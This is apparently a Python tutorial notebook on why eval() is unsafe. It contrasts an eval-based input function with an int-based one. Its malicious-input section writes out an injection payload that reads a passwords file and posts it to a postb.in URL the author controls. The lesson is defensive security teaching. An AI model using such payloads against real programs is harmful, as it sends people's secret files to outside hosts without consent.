# Why is eval() not a good idea to use?¶

Let's define two functions that should operate identically, but one uses int, and the other uses eval in critical parts of the function.

## Testing with valid input¶

Testing with input we expect works.

## Testing with invalid input¶

Similarly, testing with input we think is reasonably invalid also works.

## Testing with MALICIOUS input¶

Now, we test with input you may never expect in a million years. Since eval() evaluates any valid Python expression$^1$, it is easily abused. The int and float classes only expect input constrained to ones that can be validly interpreted as numbers.

So, let's pretend we have a file containing secret passwords on your computer. The file contents should be secret, but the file's extistence is not. This is common on Mac and Linux machines, for example, as part of the system. These systems have a password file for all its users stored in a standard location on everyone's system.

$^1$ The eval function only evaluates expressions, not statements. For example, it won't process assignments, imports, or function definitions, etc.

Now, let's craft a line of code that is malicious that will 'steal' your system's passwords and send them to a known URL I have control over. We write a convoluted line of Python code that will be our input into eval.

requests.post('https://postb.in/1581115081305-4188730325549', data={'passwords': open('passwords.txt', 'r')})

If I copy the above malicious line of Python code, an then paste it when the below function prompts me for it, I can then visit https://postb.in/b/1581115081305-4188730325549 and see the file I stole for your system!

The function input_test_bad seems to work! It evaluated the Python code I entered successfully (it had to be wrapped in quotes when entered, BTW), and send a password file to a remote server.

The function input_test_good can't evaluate that random string of Python as an int, and thus fails straightaway.

The Takeaway: The use of eval is tremendously dangerous when used in applications that are exposed to untrusted clients. For example, if you write a web application using Python, and use eval, you are begging to be compromised (i.e. "hacked"!).